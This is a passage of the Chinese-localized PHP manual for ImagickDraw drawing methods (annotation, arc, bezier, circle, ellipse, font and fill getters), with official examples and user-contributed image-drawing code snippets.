public ImagickDraw::annotation(float $x, float $y, string $text): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws text on the image.

参数

x

The x coordinate where text is drawn

y

The y coordinate where text is drawn

text

The text to draw on the image

返回值

没有返回值。

User Contributed Notes

web at synaptech dot fr 17-Jul-2013 10:31
In some cases the (custom) font can be truncated on the side parts, especially the handwritten ones.
To improve the above note from Anonymous on "how to create a header image", I've changed this part of the code:

<?php
/* Create text */
$draw->annotation( $metrics['boundingBox']['y2'], $metrics['ascender'], $text );

/* Create image */
$image->newImage( $metrics['textWidth'] + $metrics['boundingBox']['y2'], $metrics['textHeight'], $background );
?>
Anonymous 24-Oct-2009 10:28
Here's how to create a header image and write it to file.  This took me a while to figure out.  I hope this helps.

<?php

/* Text to write */
$text = "Hello World!";

/* Create Imagick objects */
$image = new Imagick();
$draw = new ImagickDraw();
$color = new ImagickPixel('#000000');
$background = new ImagickPixel('none'); // Transparent

/* Font properties */
$draw->setFont('Arial');
$draw->setFontSize(50);
$draw->setFillColor($color);
$draw->setStrokeAntialias(true);
$draw->setTextAntialias(true);

/* Get font metrics */
$metrics = $image->queryFontMetrics($draw, $text);

/* Create text */
$draw->annotation(0, $metrics['ascender'], $text);

/* Create image */
$image->newImage($metrics['textWidth'], $metrics['textHeight'], $background);
$image->setImageFormat('png');
$image->drawImage($draw);

/* Save image */
file_put_contents('/path/to/file.png', $image);
?>
use_contact_form at Jonas-Kress dot de 09-Jul-2009 03:33
may help someone...

<?php
    /**
     * Split the given text into rows fitting the given maxWidth
     *
     * @param unknown_type $draw
     * @param unknown_type $text
     * @param unknown_type $maxWidth
     * @return array
     */
    private function getTextRows($draw, $text, $maxWidth)
    {
        $words = explode(" ", $text);

        $lines = array();
        $i=0;
        while ($i < count($words))
        {//as long as there are words

            $line = "";
            do
            {//append words to line until the fit in size
                if($line != ""){
                    $line .= " ";
                }
                $line .= $words[$i];

                $i++;
                if(($i) == count($words)){
                    break;//last word -> break
                }

                //messure size of line + next word
                $linePreview = $line." ".$words[$i];
                $metrics = $this->canvas->queryFontMetrics($draw, $linePreview);
                //echo $line."($i)".$metrics["textWidth"].":".$maxWidth."<br>";

            }while($metrics["textWidth"] <= $maxWidth);

            //echo "<hr>".$line."<br>";
            $lines[] = $line;
        }

        //var_export($lines);
        return $lines;
    }
?>
Anonymous 30-Jun-2009 08:08
You can use this method to break your text so that it'll fit a certain $maxWidth.

<?php
/**
 * @param string $text
 * @param int $maxWidth
 */
protected function _fitText($text, $maxWidth)
{
    $im = new Imagick();
    $im->newImage($this->_width, $this->_height, "none");

    $lines = explode(PHP_EOL, trim($text));
    $DEBUG_LOOP = 0;

    for ($k = 0; $k < count($lines); ++$k) {
        do {
            $drawText = new ImagickDraw();
            // set your font settings like size, family, .. here
            $metrics  = $im->queryFontMetrics($drawText, $lines[$k]);
            $fits     = $metrics["textWidth"] <= $maxWidth;

            if ($fits) {
                break;
            }

            $pos = mb_strrpos($lines[$k], " ");
            if ($pos === false) {
                throw new RuntimeException("can not make it fit");
            }
            if (!isset($lines[$k + 1])) {
                $lines[$k + 1] = null;
            }
            $lines[$k + 1] = trim(mb_substr($lines[$k], $pos + 1) . " " . $lines[$k + 1]);
            $lines[$k]     = trim(mb_substr($lines[$k], 0, $pos));

            if (++$DEBUG_LOOP >= 200) {
                throw new RuntimeException("infinite loop");
            }
        } while (!$fits);
    }
    $text     = implode(PHP_EOL, $lines);
    $drawText = new ImagickDraw();
    // set your font settings like size, family, .. here again!
    $metrics  = $im->queryFontMetrics($drawText, $text);
    $metrics["text"] = $text;
    assert('$metrics["textWidth"] <= $maxWidth');
    return $metrics;
}
?>


Draws an arc

  • ? ImagickDraw::annotation
  • ImagickDraw::bezier ?
  • PHP Manual
  • ImagickDraw
  • Draws an arc

ImagickDraw::arc

(PECL imagick 2, PECL imagick 3)

ImagickDraw::arc — Draws an arc

说明

public ImagickDraw::arc(
float $sx,
float $sy,
float $ex,
float $ey,
float $sd,
float $ed
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws an arc falling within a specified bounding rectangle on the image.

参数

sx

Starting x ordinate of bounding rectangle

sy

starting y ordinate of bounding rectangle

ex

ending x ordinate of bounding rectangle

ey

ending y ordinate of bounding rectangle

sd

starting degrees of rotation

ed

ending degrees of rotation

返回值

没有返回值。

示例

Example #1 ImagickDraw::arc() example

<?php
function arc($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $startAngle, $endAngle) {

//Create a ImagickDraw object to draw into.
$draw = new \ImagickDraw();
$draw->setStrokeWidth(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setStrokeWidth(2);

$draw->arc($startX, $startY, $endX, $endY, $startAngle, $endAngle);

//Create an image object which the draw commands can be rendered into
$image = new \Imagick();
$image->newImage(IMAGE_WIDTH, IMAGE_HEIGHT, $backgroundColor);
$image->setImageFormat("png");

//Render the draw commands in the ImagickDraw object
//into the image.
$image->drawImage($draw);

//Send the image to the browser
header("Content-Type: image/png");
echo $image->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 24-Jun-2011 06:30
You can do a pie chart with a combination of arc and polygon functions (there really ought to be a built-in command for this)

<?php
//  create a new canvas object and a white image
$canvas     = new Imagick();
$canvas->newImage(600, 600, 'grey');

image_pie($canvas, 300, 300, 200, 0, 45, 'red');
image_pie($canvas, 300, 300, 200, 45, 125, 'green');
image_pie($canvas, 300, 300, 200, 125, 225, 'blue');
image_pie($canvas, 300, 300, 200, 225, 300, 'cyan');
image_pie($canvas, 300, 300, 200, 300, 360, 'orange');

//  output the image
$canvas->setImageFormat('png');
header("Content-Type: image/png");
echo $canvas;
exit;

// FUNCTIONS

function image_arc( &$canvas, $sx, $sy, $ex, $ey, $sd, $ed, $color = 'black' ) {

    //  draw arc on canvas
    //  $sx, $sy, $ex, $ey specify a bounding rectangle of a circle with the origin in the middle
    //  $sd, and $ed specify start and end angles in degrees

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->arc($sx, $sy, $ex, $ey, $sd, $ed);
    $canvas->drawImage($draw);
}

function image_pie( &$canvas, $ox, $oy, $radius, $sd, $ed, $color = 'black' ) {

    //  draw pie segment
    //  $ox, $oy specify the circle origin
    //  $sd, and $ed specify start and end angles in degrees
    //  degrees start from 0 = East, and go clockwise

    //  position 1 - convert degrees to radians and get first point on perimeter of circle
    $x1     = $radius * cos($sd / 180 * 3.1416);
    $y1     = $radius * sin($sd / 180 * 3.1416);

    //  position 2 - convert degrees to radians and get second point on perimeter of circle
    $x2     = $radius * cos($ed / 180 * 3.1416);
    $y2     = $radius * sin($ed / 180 * 3.1416);

    //  draw segment triangle - specify the 3 points and draw a polygon
    $points = array(array('x' => $ox, 'y' => $oy), array('x' => $ox + $x1, 'y' => $oy + $y1), array('x' => $ox + $x2, 'y' => $oy + $y2));

    image_polygon($canvas, $points, $color);

    //  draw corrsesponding arc to complete the "pie" segment
    image_arc($canvas, $ox - $radius, $oy - $radius, $ox + $radius, $oy + $radius, $sd, $ed, $color);
}

function image_polygon( &$canvas, $points, $color = 'black' ) {

    //  draw a polygon on canvas

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->polygon($points);
    $canvas->drawImage($draw);
}

?>


Draws a bezier curve

  • ? ImagickDraw::arc
  • ImagickDraw::circle ?
  • PHP Manual
  • ImagickDraw
  • Draws a bezier curve

ImagickDraw::bezier

(PECL imagick 2, PECL imagick 3)

ImagickDraw::bezier — Draws a bezier curve

说明

public ImagickDraw::bezier(array $coordinates): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a bezier curve through a set of points on the image.

参数

coordinates

Multidimensional array like array( array( 'x' => 1, 'y' => 2 ), array( 'x' => 3, 'y' => 4 ) )

返回值

没有返回值。

示例

Example #1 ImagickDraw::bezier() example

<?php
function bezier($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);

$smoothPointsSet = [
[
['x' => 10.0 * 5, 'y' => 10.0 * 5],
['x' => 30.0 * 5, 'y' => 90.0 * 5],
['x' => 25.0 * 5, 'y' => 10.0 * 5],
['x' => 50.0 * 5, 'y' => 50.0 * 5],
],
[
['x' => 50.0 * 5, 'y' => 50.0 * 5],
['x' => 75.0 * 5, 'y' => 90.0 * 5],
['x' => 70.0 * 5, 'y' => 10.0 * 5],
['x' => 90.0 * 5, 'y' => 40.0 * 5],
],
];

foreach ($smoothPointsSet as $points) {
$draw->bezier($points);
}

$disjointPoints = [
[
['x' => 10 * 5, 'y' => 10 * 5],
['x' => 30 * 5, 'y' => 90 * 5],
['x' => 25 * 5, 'y' => 10 * 5],
['x' => 50 * 5, 'y' => 50 * 5],
],
[
['x' => 50 * 5, 'y' => 50 * 5],
['x' => 80 * 5, 'y' => 50 * 5],
['x' => 70 * 5, 'y' => 10 * 5],
['x' => 90 * 5, 'y' => 40 * 5],
]
];
$draw->translate(0, 200);

foreach ($disjointPoints as $points) {
$draw->bezier($points);
}

//Create an image object which the draw commands can be rendered into
$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

//Render the draw commands in the ImagickDraw object
//into the image.
$imagick->drawImage($draw);

//Send the image to the browser
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 26-Jan-2014 04:19
This function requires at least 3 points. The following code fails when there are only two points left in the array:

<?php
$im = new Imagick ();
$points = array (array ('x' => 10, 'y' => 10), array ('x' => 20, 'y' => 10), array ('x' => 30, 'y' => 40), array ('x' => 40, 'y' => 20), array ('x' => 50, 'y' => 60));
$n = 0;
while (!empty ($points))
{
    $im->newImage (64, 64, "white");
    $draw = new ImagickDraw ();
    $draw->setFillColor ("none");
    $draw->setStrokeWidth (4);
    $draw->setStrokeColor ("black");
    $draw->setStrokeOpacity (0.9);
    $draw->setStrokeAntiAlias (true);
    $draw->bezier ($points);
    $im->drawImage ($draw);
    $im->writeImage ("IMG_$n.png");
    $draw->destroy ();
    $im->destroy ();
    echo count ($points) . ", $n: <img src=\"IMG_$n.png\"><br>";
    $n++;
    array_shift ($points);
}
?>
zombiebovine at gmail dot com 14-Sep-2009 03:43
How to use:

<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->setFillColor( new ImagickPixel( 'transparent' ) );

    // will fail in an obscure manner if the input data is invalid
    $points = array
    (
        array( 'x' => 0, 'y' => 200 ),
        array( 'x' => 0, 'y' => 0 ),
        array( 'x' => 200, 'y' => 200 ),
        array( 'x' => 200, 'y' => 0 )
    );

    $draw->bezier($points);

    $img->drawImage( $draw );
    $img->setImageFormat( "png" );

    header( "Content-Type: image/png" );
    echo $img;
?>


Draws a circle

  • ? ImagickDraw::bezier
  • ImagickDraw::clear ?
  • PHP Manual
  • ImagickDraw
  • Draws a circle

ImagickDraw::circle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::circle — Draws a circle

说明

public ImagickDraw::circle(
float $ox,
float $oy,
float $px,
float $py
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws a circle on the image.

参数

ox

origin x coordinate

oy

origin y coordinate

px

perimeter x coordinate

py

perimeter y coordinate

返回值

没有返回值。

示例

Example #1 ImagickDraw::circle() example

<?php
function circle($strokeColor, $fillColor, $backgroundColor, $originX, $originY, $endX, $endY) {

//Create a ImagickDraw object to draw into.
$draw = new \ImagickDraw();

$strokeColor = new \ImagickPixel($strokeColor);
$fillColor = new \ImagickPixel($fillColor);

$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->circle($originX, $originY, $endX, $endY);

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");
$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 27-Jan-2014 09:26
The four values required here are a bit confusing. After all, a circle is defined by three values: the x, y coordinates of the centre, and the radius, r.

The fourth value is redundant, but has to be given, otherwise the function fails. One way of coping with this redundancy is:

<?php
$draw = new ImagickDraw ();
//given that $x and $y are the coordinates of the centre, and $r the radius:
$draw->circle ($x, $y, $x + $r, $y);
?>

There are any number of actions which are synonymous with the last, including:
<?php
$draw->circle ($x, $y, $x, $y + $r);
$draw->circle ($x, $y, $x - $r, $y);
$draw->circle ($x, $y, $x, $y - $r);
// etc, etc.
?>

Hope this helps.
christian dot reinecke at web dot de 23-Jun-2009 06:31
This example creates a circle, one part green, one part red using kind of masks for transparency, which you might know from Photoshop. drawImage() is a quick helper for debug output (see code comments) to help you reproduce the process.

<?php
function drawImage(Imagick $im) {
    $im->setCompressionQuality(100);
    $im->setImageFormat("jpg");
    header("Content-Type: image/" . $im->getImageFormat());
    echo $im;
    exit;
}

// define red/green layer
$layer1 = new Imagick();
$layer1->newImage(100, 100, "none");

$red = new ImagickDraw();
$red->setFillColor("#FF0000");
$red->rectangle(0, 0, 50, 100);

$green = new ImagickDraw();
$green->setFillColor("#00FF00");
$green->rectangle(50, 0, 100, 100);

$layer1->drawImage($red);
$layer1->drawImage($green);

# debug output: two rectangles
# drawImage($layer1);

// define circle mask
$layer2 = new Imagick();
$layer2->newImage(100, 100, "none");

$circle = new ImagickDraw();
$circle->setFillColor("#FFFFFF");
$circle->circle(50, 50, 48, 98);

$layer2->drawImage($circle);

# debug output: the mask
# drawImage($layer2);

// use mask
$layer1->compositeImage($layer2, Imagick::COMPOSITE_DSTIN, 0, 0);

# debug output: the result of our mask usage
# drawImage($layer1);

// define background
$layer3 = new Imagick();
$layer3->newImage(100, 100, "none");

$layer3->compositeImage($layer1, Imagick::COMPOSITE_DEFAULT, 0, 0);

// define ring as background
$layer4 = new Imagick();
$layer4->newImage(100, 100, "white"); // this is our background

$ring1 = new ImagickDraw();
$ring1->setFillColor("black");
$ring1->circle(50, 50, 50, 99);

$layer4->drawImage($ring1);

# debug output: this is a black circle (not our mask, which is similar, but a little bit smaller)
# drawImage($layer4);

// use black circle as background (this creates our circle border)
$layer4->compositeImage($layer3, Imagick::COMPOSITE_DEFAULT, 0, 0);

# debug output: here we go with our circle border
# drawImage($layer4);

// draw separator between red and green rectangle (now semi circles)
$line = new ImagickDraw();
$line->setStrokeWidth(1);
$line->setStrokeColor("black");
$line->line(50, 1, 50, 99);

// add our separator line
$layer4->drawImage($line);

drawImage($layer4);
?>

To understand how the COMPOSITE_* constants effect the image merging process, see here:
http://www.imagemagick.org/Usage/compose/#duff-porter


Clears the ImagickDraw

  • ? ImagickDraw::circle
  • ImagickDraw::clone ?
  • PHP Manual
  • ImagickDraw
  • Clears the ImagickDraw

ImagickDraw::clear

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clear — Clears the ImagickDraw

说明

public ImagickDraw::clear(): bool
Warning

本函数还未编写文档，仅有参数列表。

Clears the ImagickDraw object of any accumulated commands, and resets the settings it contains to their defaults.

返回值

Returns an ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Makes an exact copy of the specified ImagickDraw object

  • ? ImagickDraw::clear
  • ImagickDraw::color ?
  • PHP Manual
  • ImagickDraw
  • Makes an exact copy of the specified ImagickDraw object

ImagickDraw::clone

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clone — Makes an exact copy of the specified ImagickDraw object

说明

public ImagickDraw::clone(): ImagickDraw
Warning

本函数还未编写文档，仅有参数列表。

Makes an exact copy of the specified ImagickDraw object.

返回值

returns an exact copy of the specified ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Draws color on image

  • ? ImagickDraw::clone
  • ImagickDraw::comment ?
  • PHP Manual
  • ImagickDraw
  • Draws color on image

ImagickDraw::color

(PECL imagick 2, PECL imagick 3)

ImagickDraw::color — Draws color on image

说明

public ImagickDraw::color(float $x, float $y, int $paintMethod): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws color on image using the current fill color, starting at specified position, and using specified paint method.

参数

x

x coordinate of the paint

y

y coordinate of the paint

paintMethod

One of the PAINT constant (imagick::PAINT_*).

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Adds a comment

  • ? ImagickDraw::color
  • ImagickDraw::composite ?
  • PHP Manual
  • ImagickDraw
  • Adds a comment

ImagickDraw::comment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::comment — Adds a comment

说明

public ImagickDraw::comment(string $comment): bool
Warning

本函数还未编写文档，仅有参数列表。

Adds a comment to a vector output stream.

参数

comment

The comment string to add to vector output stream

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Composites an image onto the current image

  • ? ImagickDraw::comment
  • ImagickDraw::__construct ?
  • PHP Manual
  • ImagickDraw
  • Composites an image onto the current image

ImagickDraw::composite

(PECL imagick 2, PECL imagick 3)

ImagickDraw::composite — Composites an image onto the current image

说明

public ImagickDraw::composite(
int $compose,
float $x,
float $y,
float $width,
float $height,
Imagick $compositeWand
): bool
Warning

本函数还未编写文档，仅有参数列表。

Composites an image onto the current image, using the specified composition operator, specified position, and at the specified size.

参数

compose

composition operator. One of the Composite Operator constant (imagick::COMPOSITE_*).

x

x coordinate of the top left corner.

y

y coordinate of the top left corner.

width

width of the composition image.

height

height of the composition image.

compositeWand

the Imagick object where composition image is taken from.

返回值

成功时返回 true。

示例

Example #1 ImagickDraw::composite() example

<?php
function composite($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();

$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);
$draw->setFillOpacity(1);
$draw->setStrokeWidth(2);
$draw->setFontSize(72);
$draw->setStrokeOpacity(1);
$draw->setStrokeColor($strokeColor);
$draw->setStrokeWidth(2);
$draw->setFont("../fonts/CANDY.TTF");
$draw->setFontSize(140);
$draw->rectangle(0, 0, 1000, 300);
$draw->setFillColor('white');
$draw->setfillopacity(1);
$draw->annotation(50, 180, "Lorem Ipsum!");

//Create an image object which the draw commands can be rendered into
$imagick = new \Imagick();
$imagick->newImage(1000, 302, $backgroundColor);
$imagick->setImageFormat("png");

//Render the draw commands in the ImagickDraw object
//into the image.
$imagick->drawImage($draw);

//Send the image to the browser
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 01:31
To see some examples how the COMPOSITE_* constants work, see this page:
http://www.imagemagick.org/Usage/compose/#duff-porter


The ImagickDraw constructor

  • ? ImagickDraw::composite
  • ImagickDraw::destroy ?
  • PHP Manual
  • ImagickDraw
  • The ImagickDraw constructor

ImagickDraw::__construct

(PECL imagick 2, PECL imagick 3)

ImagickDraw::__construct — The ImagickDraw constructor

说明

public ImagickDraw::__construct()
Warning

本函数还未编写文档，仅有参数列表。

The ImagickDraw constructor.

返回值

没有返回值。

User Contributed Notes

Anonymous 31-Mar-2009 02:59
To set up and output an image the very minimum:
<?php
$img = new Imagick();
$img->newImage( 200, 200, new ImagickPixel( 'lime' ) );
$img->setImageFormat( "png" );
header( "Content-Type: image/png" );
echo $img;
?>
Copy, paste; and if imagemagick is enabled it should come up with a lime colored square.


Frees all associated resources

  • ? ImagickDraw::__construct
  • ImagickDraw::ellipse ?
  • PHP Manual
  • ImagickDraw
  • Frees all associated resources

ImagickDraw::destroy

(PECL imagick 2, PECL imagick 3)

ImagickDraw::destroy — Frees all associated resources

说明

public ImagickDraw::destroy(): bool
Warning

本函数还未编写文档，仅有参数列表。

Frees all resources associated with the ImagickDraw object.

返回值

没有返回值。

User Contributed Notes

There are no user contributed notes for this page.


Draws an ellipse on the image

  • ? ImagickDraw::destroy
  • ImagickDraw::getClipPath ?
  • PHP Manual
  • ImagickDraw
  • Draws an ellipse on the image

ImagickDraw::ellipse

(PECL imagick 2, PECL imagick 3)

ImagickDraw::ellipse — Draws an ellipse on the image

说明

public ImagickDraw::ellipse(
float $ox,
float $oy,
float $rx,
float $ry,
float $start,
float $end
): bool
Warning

本函数还未编写文档，仅有参数列表。

Draws an ellipse on the image.

参数

ox

oy

rx

ry

start

end

返回值

没有返回值。

示例

Example #1 ImagickDraw::ellipse() example

<?php
function ellipse($strokeColor, $fillColor, $backgroundColor) {

$draw = new \ImagickDraw();
$draw->setStrokeColor($strokeColor);
$draw->setFillColor($fillColor);

$draw->setStrokeWidth(2);
$draw->setFontSize(72);

$draw->ellipse(125, 70, 100, 50, 0, 360);
$draw->ellipse(350, 70, 100, 50, 0, 315);

$draw->push();
$draw->translate(125, 250);
$draw->rotate(30);
$draw->ellipse(0, 0, 100, 50, 0, 360);
$draw->pop();

$draw->push();
$draw->translate(350, 250);
$draw->rotate(30);
$draw->ellipse(0, 0, 100, 50, 0, 315);
$draw->pop();

$imagick = new \Imagick();
$imagick->newImage(500, 500, $backgroundColor);
$imagick->setImageFormat("png");

$imagick->drawImage($draw);

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Axeia 31-Mar-2009 02:10
<?php
/**
 * Please note that if you use a stroke. ( Imagick::setStrokeWidth( 2 ) ) the
 * stroke is drawn outside the ellipse dimensions.
 *
 * @param float $ox - Offset X, distance from the center of the ellipse till the left border of the image
 * @param float $oy - Offset Y, distance from the center of the ellipse till the top of the image
 * @param float $rx - X radius
 * @param float $ry - Y radius
 * @param float float $start - Starting angle in degrees.
 * @param float float $end - End angle in degrees.
 *
 */
ImagickDraw::ellipse( float $ox  , float $oy  , float $rx  , float $ry  , float $start  , float $end  );
?>

Example of drawing a full ellipse (from 0, 360) and outputting it as a PNG.
Do note, that this is  by default anti-aliased unlike the GD functions which only support it on lines that aren't on a transparent background.
<?php
$width =  200;
$height = 100;
$border = 2;

$img = new Imagick();
$img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

$draw = new ImagickDraw();
$draw->setStrokeColor( new ImagickPixel( 'black' ) );
$draw->setStrokeWidth( 2 );
$draw->setFillColor( new ImagickPixel( 'transparent' ) );
//Substract the border from the radius so it doesn't fall outside the screen.
$draw->ellipse( $width/2, $height/2, ($width/2)-$border, ($height/2)-$border, 0, 360 );
$img->drawImage( $draw );
$img->setImageFormat( "png" );

header( "Content-Type: image/png" );
echo $img;
?>


Obtains the current clipping path ID

  • ? ImagickDraw::ellipse
  • ImagickDraw::getClipRule ?
  • PHP Manual
  • ImagickDraw
  • Obtains the current clipping path ID

ImagickDraw::getClipPath

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipPath — Obtains the current clipping path ID

说明

public ImagickDraw::getClipPath(): string
Warning

本函数还未编写文档，仅有参数列表。

Obtains the current clipping path ID.

返回值

Returns a string containing the clip path ID or false if no clip path exists.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current polygon fill rule

  • ? ImagickDraw::getClipPath
  • ImagickDraw::getClipUnits ?
  • PHP Manual
  • ImagickDraw
  • Returns the current polygon fill rule

ImagickDraw::getClipRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipRule — Returns the current polygon fill rule

说明

public ImagickDraw::getClipRule(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the current polygon fill rule to be used by the clipping path.

返回值

Returns a FILLRULE constant (imagick::FILLRULE_*).

User Contributed Notes

There are no user contributed notes for this page.


Returns the interpretation of clip path units

  • ? ImagickDraw::getClipRule
  • ImagickDraw::getFillColor ?
  • PHP Manual
  • ImagickDraw
  • Returns the interpretation of clip path units

ImagickDraw::getClipUnits

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getClipUnits — Returns the interpretation of clip path units

说明

public ImagickDraw::getClipUnits(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the interpretation of clip path units.

返回值

Returns an int on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill color

  • ? ImagickDraw::getClipUnits
  • ImagickDraw::getFillOpacity ?
  • PHP Manual
  • ImagickDraw
  • Returns the fill color

ImagickDraw::getFillColor

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillColor — Returns the fill color

说明

public ImagickDraw::getFillColor(): ImagickPixel
Warning

本函数还未编写文档，仅有参数列表。

Returns the fill color used for drawing filled objects.

返回值

Returns an ImagickPixel object.

User Contributed Notes

There are no user contributed notes for this page.


Returns the opacity used when drawing

  • ? ImagickDraw::getFillColor
  • ImagickDraw::getFillRule ?
  • PHP Manual
  • ImagickDraw
  • Returns the opacity used when drawing

ImagickDraw::getFillOpacity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillOpacity — Returns the opacity used when drawing

说明

public ImagickDraw::getFillOpacity(): float
Warning

本函数还未编写文档，仅有参数列表。

Returns the opacity used when drawing using the fill color or fill texture. Fully opaque is 1.0.

返回值

The opacity.

User Contributed Notes

There are no user contributed notes for this page.


Returns the fill rule

  • ? ImagickDraw::getFillOpacity
  • ImagickDraw::getFont ?
  • PHP Manual
  • ImagickDraw
  • Returns the fill rule

ImagickDraw::getFillRule

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFillRule — Returns the fill rule

说明

public ImagickDraw::getFillRule(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the fill rule used while drawing polygons.

返回值

Returns a FILLRULE constant (imagick::FILLRULE_*).

User Contributed Notes

There are no user contributed notes for this page.


Returns the font

  • ? ImagickDraw::getFillRule
  • ImagickDraw::getFontFamily ?
  • PHP Manual
  • ImagickDraw
  • Returns the font

ImagickDraw::getFont

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFont — Returns the font

说明

public ImagickDraw::getFont(): string
Warning

本函数还未编写文档，仅有参数列表。

Returns a string specifying the font used when annotating with text.

返回值

Returns a string on success and false if no font is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font family

  • ? ImagickDraw::getFont
  • ImagickDraw::getFontSize ?
  • PHP Manual
  • ImagickDraw
  • Returns the font family

ImagickDraw::getFontFamily

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontFamily — Returns the font family

说明

public ImagickDraw::getFontFamily(): string
Warning

本函数还未编写文档，仅有参数列表。

Returns the font family to use when annotating with text.

返回值

Returns the font family currently selected or false if font family is not set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font pointsize

  • ? ImagickDraw::getFontFamily
  • ImagickDraw::getFontStretch ?
  • PHP Manual
  • ImagickDraw
  • Returns the font pointsize

ImagickDraw::getFontSize

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontSize — Returns the font pointsize

说明

public ImagickDraw::getFontSize(): float
Warning

本函数还未编写文档，仅有参数列表。

Returns the font pointsize used when annotating with text.

返回值

Returns the font size associated with the current ImagickDraw object.

User Contributed Notes

There are no user contributed notes for this page.


Gets the font stretch to use when annotating with text

  • ? ImagickDraw::getFontSize
  • ImagickDraw::getFontStyle ?
  • PHP Manual
  • ImagickDraw
  • Gets the font stretch to use when annotating with text

ImagickDraw::getFontStretch

(PECL imagick 2 >=2.3.0, PECL imagick 3)

ImagickDraw::getFontStretch — Gets the font stretch to use when annotating with text

说明

public ImagickDraw::getFontStretch(): int

Gets the font stretch to use when annotating with text. Returns a StretchType.

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


Returns the font style

  • ? ImagickDraw::getFontStretch
  • ImagickDraw::getFontWeight ?
  • PHP Manual
  • ImagickDraw
  • Returns the font style

ImagickDraw::getFontStyle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontStyle — Returns the font style

说明

public ImagickDraw::getFontStyle(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the font style used when annotating with text.

返回值

Returns a STYLE constant (imagick::STYLE_*) associated with the ImagickDraw object or 0 if no style is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the font weight

  • ? ImagickDraw::getFontStyle
  • ImagickDraw::getGravity ?
  • PHP Manual
  • ImagickDraw
  • Returns the font weight

ImagickDraw::getFontWeight

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getFontWeight — Returns the font weight

说明

public ImagickDraw::getFontWeight(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the font weight used when annotating with text.

返回值

Returns an int on success and 0 if no weight is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the text placement gravity

  • ? ImagickDraw::getFontWeight
  • ImagickDraw::getStrokeAntialias ?
  • PHP Manual
  • ImagickDraw
  • Returns the text placement gravity

ImagickDraw::getGravity

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getGravity — Returns the text placement gravity

说明

public ImagickDraw::getGravity(): int
Warning

本函数还未编写文档，仅有参数列表。

Returns the text placement gravity used when annotating with text.

返回值

Returns a GRAVITY constant (imagick::GRAVITY_*) on success and 0 if no gravity is set.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current stroke antialias setting

  • ? ImagickDraw::getGravity
  • ImagickDraw::getStrokeColor ?
  • PHP Manual
  • ImagickDraw
  • Returns the current stroke antialias setting

ImagickDraw::getStrokeAntialias

(PECL imagick 2, PECL imagick 3)

ImagickDraw::getStrokeAntialias — Returns the current stroke antialias setting

说明

public ImagickDraw::getStrokeAntialias(): bool
Warning

本函数还未编写文档，仅有参数列表。

Returns the current stroke antialias setting. Stroked outlines are antialiased by default. When antialiasing is disabled stroked pixels are thresholded to determine if the stroke color or underlying canvas color should be used.

返回值

